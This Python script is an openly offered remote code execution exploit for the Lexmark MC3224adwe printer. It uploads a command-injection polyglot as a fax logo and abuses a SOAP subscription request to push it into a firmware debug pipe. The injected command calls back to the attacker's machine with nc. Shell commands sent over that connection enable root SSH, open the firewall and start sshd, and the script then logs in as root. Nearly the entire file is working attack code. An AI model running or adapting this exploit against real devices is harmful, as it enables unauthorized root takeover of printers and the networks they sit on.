#!
/usr/bin/env python
from threading import Thread
import time
import sys
import uuid
import requests
import socket
import os
from datetime import datetime
MAXTIME = (60*5)
LOCAL_PORT_ROOT = 1912
def banner():
print("")
print(" $$$ Lexmark MC3224adwe RCE Exploit $$$")
print(" -- by blasty <peter@[Link]> -- ")
print("")
def usage():
print(" usage: %s <target ip> <local ip>" % [Link][0])
print("")
exit(0)
COMMANDS_LPE="""
cat << EOF > /dev/shm/[Link]
#!/bin/sh
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\ 1/g' \
-e 's/AllowUsers guest/AllowUsers root guest/' \
/etc/ssh/sshd_config_perf > /tmp/sshconf
mkdir /var/run/sshd
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT
nohup /usr/sbin/sshd -f /tmp/sshconf &
EOF
sh /dev/shm/[Link]
"""
LOGO_SRC_FILE = "/var/fs/shared/faxdata/logo"
FWDEBUG_PIPE = "/run/svcerr/auto_fwdebug_pipe"
SOAP_A="""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:soap="[Link]
xmlns:wsa="[Link]
xmlns:wse="[Link]
xmlns:ew="[Link]
xmlns:prt="[Link]
<soap:Header>
<wsa:Action>[Link]
<wsa:MessageID>
uuid:UUID_VALUE
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>[Link]
</wsa:ReplyTo>
<wsa:To>[Link]
</soap:Header>
<soap:Body>
<wse:Subscribe>
<wse:EndTo>
<wsa:Address>[Link]
<wsa:ReferenceProperties>
<ew:MySubscription>1234</ew:MySubscription>
</wsa:ReferenceProperties>
<wsa:ReferenceParameters>
<wse:Identifier>IDID-1</wse:Identifier>
</wsa:ReferenceParameters>
</wse:EndTo>
<wse:Delivery>
<wse:NotifyTo>
<wsa:Address>[Link]
/fax misc copyfile SOURCE DESTINATION_A
/fax misc copyfile SOURCE DESTINATION_B
/quit
/exit

</wsa:Address>
<wsa:ReferenceParameters>
<wse:Identifier>SCOOBYSNAX</wse:Identifier>
</wsa:ReferenceParameters>
</wse:NotifyTo>
</wse:Delivery>
<wse:Filter>[Link]
</wse:Subscribe>
</soap:Body>
</soap:Envelope>
"""
SOAP_B="""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:soap="[Link]
xmlns:wsa="[Link]
xmlns:wse="[Link]
xmlns:ew="[Link]
xmlns:pri="[Link]
<soap:Header>
<wsa:Action>[Link]
<wsa:MessageID>
uuid:UUID_VALUE
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>[Link]
</wsa:ReplyTo>
<wsa:To>[Link]
</soap:Header>
<soap:Body>
<pri:CreatePrintJobRequest>
<pri:PrintTicket>
<pri:JobDescription>
<pri:JobName>JOBNAME</pri:JobName>
<pri:JobOriginatingUserName>user</pri:JobOriginatingUserName>
</pri:JobDescription>
</pri:PrintTicket>
</pri:CreatePrintJobRequest>
</soap:Body>
</soap:Envelope>
"""
def report(indicator, tag, text):
if indicator == "x":
indicator_col = "\x1b[31m"
else:
indicator_col = "\x1b[32m"
now = [Link]()
print("<%s > [\x1b[1m%s%s\x1b[0m] \x1b[1m%s \x1b[0m: %s " % (
[Link]("%H:%M:%S"), indicator_col, indicator, tag, text
))
if indicator == "x":
exit(-1)
def clock_task():
n = 0
while True:
[Link](15)
n += 15
report('i', 'CLOCK', "%d seconds elapsed.." % n)
global stop_clock
if stop_clock:
return
def listener_task(port, tag, send_data = None):
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
[Link](('[Link]', port))
[Link](2)
conn, address = [Link]()
report('!', tag, "YES! Connection from: %s " % str(address))
r = [Link](1024)
if send_data is not None:
[Link](send_data)
[Link]()
return r
def root_shell_task():
r = listener_task(LOCAL_PORT_ROOT, "ROOT-SHELL", COMMANDS_LPE.encode('utf8'))
report('!', 'ROOT-SHELL', "id output: " + [Link]('utf8'))
def write_logo_file(data):
r = [Link](
"[Link] /webglue/uploadfile/ImportFaxLogo" % g_target,
files={
'x': data
}
)
def copy_file(src, dst_a, dst_b):
report('~', "SSRF", "trigger part 1")
uuid_val = str(uuid.uuid4())
body_a = SOAP_A.replace("REMOTE_IP", g_target)
body_a = body_a.replace("SOURCE", src)
body_a = body_a.replace("DESTINATION_A", dst_a)
body_a = body_a.replace("DESTINATION_B", dst_b)
body_a = body_a.replace("UUID_VALUE", uuid_val)
body_b = SOAP_B.replace("REMOTE_IP", g_target)
body_b = body_b.replace("UUID_VALUE", uuid_val)
r = [Link](
"[Link] :65002/" % g_target,
headers = headers,
data = body_a
)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 1 failed')
exit(-1)
report('~', "SSRF", "trigger part 2")
r = [Link](
"[Link] :65002/" % g_target,
headers = headers,
data = body_b
)
if r.status_code != 200:
report('x', 'SSRF', 'trigger part 2 failed')
exit(-1)
[Link](5)
return True
if __name__ == "__main__":
banner()
if len([Link]) != 3:
usage()
g_target = [Link][1]
g_local_ip = [Link][2]
stop_clock = False
thread_clock = Thread(target=clock_task)
thread_root_shell = Thread(target=root_shell_task)
thread_clock.start()
report('i', "HACK", "attacking %s , sending shells to %s " % (g_target, g_local_ip))
thread_root_shell.start()
starttime = [Link]()
headers = {
"Content-Type": "application/soap+xml"
}
polyglot = "lol;\" ;sh /tmp/xyz # \" ; id | nc LOCAL_IP LOCAL_PORT_ROOT | sh # "
polyglot = [Link]("LOCAL_IP", g_local_ip)
polyglot = [Link]("LOCAL_PORT_ROOT", str(LOCAL_PORT_ROOT))
report('~', "UPLOAD", "upload lpe polyglot")
write_logo_file([Link]('utf8'))
report('~', "COPY", "copy polyglot to /tmp and pipe")
copy_file(LOGO_SRC_FILE, "/tmp/xyz", FWDEBUG_PIPE)
report('~', "WAIT", "patience you must have, my young padawan")
thread_root_shell.join()
stop_clock = True
endtime = [Link]()
delta = endtime - starttime
report('i', "HACK", "pwning took %d seconds!" % [Link])
if [Link] > MAXTIME:
report('-', "HACK", "we ran out of wallclock time :(")
else:
report(
'!', "HACK",
"we have %d seconds left, phew!" % (MAXTIME - [Link])
)
report('?', "HACK", "lets see if our ssh daemon is alive..")
ssh_try = 0
while True:
report('*', 'HACK', "(%d ) attempting to connect to ssh.." % ssh_try)
try:
s = socket.create_connection((g_target, 22))
r = [Link](1024)
report('!', 'HACK', "YES! ssh banner: " + [Link]('utf8'))
break
except:
pass
ssh_try = ssh_try + 1
[Link](0.5)
login_cmd = "/bin/bash -l"
ssh_cmd = "ssh -t -i ssh_key/id_rsa_lexmark -o UserKnownHostsFile=/dev/null -o
'StrictHostKeyChecking no' root@%s '%s '" % (
g_target, login_cmd
)
report('!', "HACK", "spawning flair and interactive ssh shell..")
[Link](ssh_cmd)
print("*** GOODBYE ***")
exit(0)